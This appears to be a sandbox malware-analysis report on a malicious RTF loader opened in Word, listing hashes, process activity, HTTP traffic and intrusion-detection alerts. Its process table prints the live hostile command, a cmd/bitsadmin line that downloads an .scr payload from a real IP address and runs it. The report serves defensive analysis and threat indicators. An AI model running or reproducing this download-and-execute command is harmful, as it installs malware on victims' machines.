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| File name: | f5e54746373cbb355c111b4fba7044c1680af12db97d2a0ab50d850b8d05d032 |
| Full analysis: | https://app.any.run/tasks/45c9e4ca-1a06-4abd-8acb-7c87ca2d465e |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | January 18, 2019, 09:48:02 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | D581E82A9FC7AC0967D18A195710A0BE |
| SHA1: | 5FC8B72C98102E3666C66AA656455B6333B50B62 |
| SHA256: | F5E54746373CBB355C111B4FBA7044C1680AF12DB97D2A0AB50D850B8D05D032 |
| SSDEEP: | 768:VoeGbTRSNG/utjY15J4t9dyY3FxKhK8qo2VkIq/J3qfjhKBLShqiPxwP2TNG3Bhz:Volg7oWmfJFj2q+BL2q+BKo6IzBkc |
MALICIOUS
Application was dropped or rewritten from another process
- 56yjr7kryk7.scr (PID: 3320)
Uses BITADMIN.EXE for downloading application
- cmd.EXE (PID: 2444)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2964)
SUSPICIOUS
Starts application with an unusual extension
- cmd.EXE (PID: 2444)
INFO
Application was crashed
- 56yjr7kryk7.scr (PID: 3320)
Creates files in the user directory
- WINWORD.EXE (PID: 2964)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2964)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
EXIF
RTF
| InternalVersionNumber: | 85 |
|---|---|
| CharactersWithSpaces: | 1961 |
| Characters: | 1671 |
| Words: | 293 |
| Pages: | 3 |
| TotalEditTime: | 7 minutes |
| RevisionNumber: | 6 |
| ModifyDate: | 2019:01:14 04:48:00 |
| CreateDate: | 2019:01:14 04:21:00 |
| LastModifiedBy: | Administrator |
| Author: | Administrator |
Total processes
37
Monitored processes
4
Malicious processes
1
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2964 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\f5e54746373cbb355c111b4fba7044c1680af12db97d2a0ab50d850b8d05d032.rtf" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2444 | C:\Programs\Microsoft\Office\MSWord\..\..\..\..\windows\system32\cmd.EXE cmd /K bitsadmin /transfer myjob /download http://111.90.150.78/output.scr %APPDATA%\56yjr7kryk7.scr & start %APPDATA%\56yjr7kryk7.scr & exit | C:\Programs\Microsoft\Office\MSWord\..\..\..\..\windows\system32\cmd.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2972 | bitsadmin /transfer myjob /download http://111.90.150.78/output.scr C:\Users\admin\AppData\Roaming\56yjr7kryk7.scr | C:\Windows\system32\bitsadmin.exe | — | cmd.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) | ||||
| 3320 | C:\Users\admin\AppData\Roaming\56yjr7kryk7.scr | C:\Users\admin\AppData\Roaming\56yjr7kryk7.scr | cmd.EXE | |
User: admin Integrity Level: MEDIUM Exit code: 3221225477 | ||||
Total events
1 397
Read events
789
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
0
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8A16.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:B2A436A8C3D1FBC4316A1C780A4B85BD | SHA256:831EF4D2D350750F189D949F20BEEC0307F8F611932193B5D366BC53366AB189 | |||
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$e54746373cbb355c111b4fba7044c1680af12db97d2a0ab50d850b8d05d032.rtf | pgc | |
MD5:BB9DA81B115C4CF1A1D3C6522A620BC3 | SHA256:BC2686DB2AC270FD18C67DD9CFF4030CE155B1981362645D11E5345105A09BCB | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
1
DNS requests
0
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | HEAD | 200 | 111.90.150.78:80 | http://111.90.150.78/output.scr | unknown | — | — | suspicious |
— | — | GET | 206 | 111.90.150.78:80 | http://111.90.150.78/output.scr | unknown | binary | 5.35 Kb | suspicious |
— | — | GET | 206 | 111.90.150.78:80 | http://111.90.150.78/output.scr | unknown | binary | 5.35 Kb | suspicious |
— | — | GET | 206 | 111.90.150.78:80 | http://111.90.150.78/output.scr | unknown | binary | 11.5 Kb | suspicious |
— | — | GET | 206 | 111.90.150.78:80 | http://111.90.150.78/output.scr | unknown | binary | 49.0 Kb | suspicious |
— | — | GET | 206 | 111.90.150.78:80 | http://111.90.150.78/output.scr | unknown | executable | 4.52 Kb | suspicious |
— | — | GET | 206 | 111.90.150.78:80 | http://111.90.150.78/output.scr | unknown | flc | 142 Kb | suspicious |
— | — | GET | 206 | 111.90.150.78:80 | http://111.90.150.78/output.scr | unknown | binary | 24.0 Kb | suspicious |
— | — | GET | 206 | 111.90.150.78:80 | http://111.90.150.78/output.scr | unknown | binary | 85.1 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 111.90.150.78:80 | — | Shinjiru Technology Sdn Bhd | — | suspicious |
DNS requests
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | A Network Trojan was detected | ET INFO SUSPICIOUS .scr file download |
— | — | A Network Trojan was detected | SC BAD_UNKNOWN Request, which might be made by Trojan-Downloader.MSOffice.DdeExec |
— | — | A Network Trojan was detected | ET INFO SUSPICIOUS .scr file download |
— | — | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
— | — | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
— | — | A Network Trojan was detected | ET INFO SUSPICIOUS .scr file download |
— | — | A Network Trojan was detected | ET INFO SUSPICIOUS .scr file download |
— | — | A Network Trojan was detected | ET INFO SUSPICIOUS .scr file download |
— | — | A Network Trojan was detected | ET INFO SUSPICIOUS .scr file download |
— | — | A Network Trojan was detected | ET INFO SUSPICIOUS .scr file download |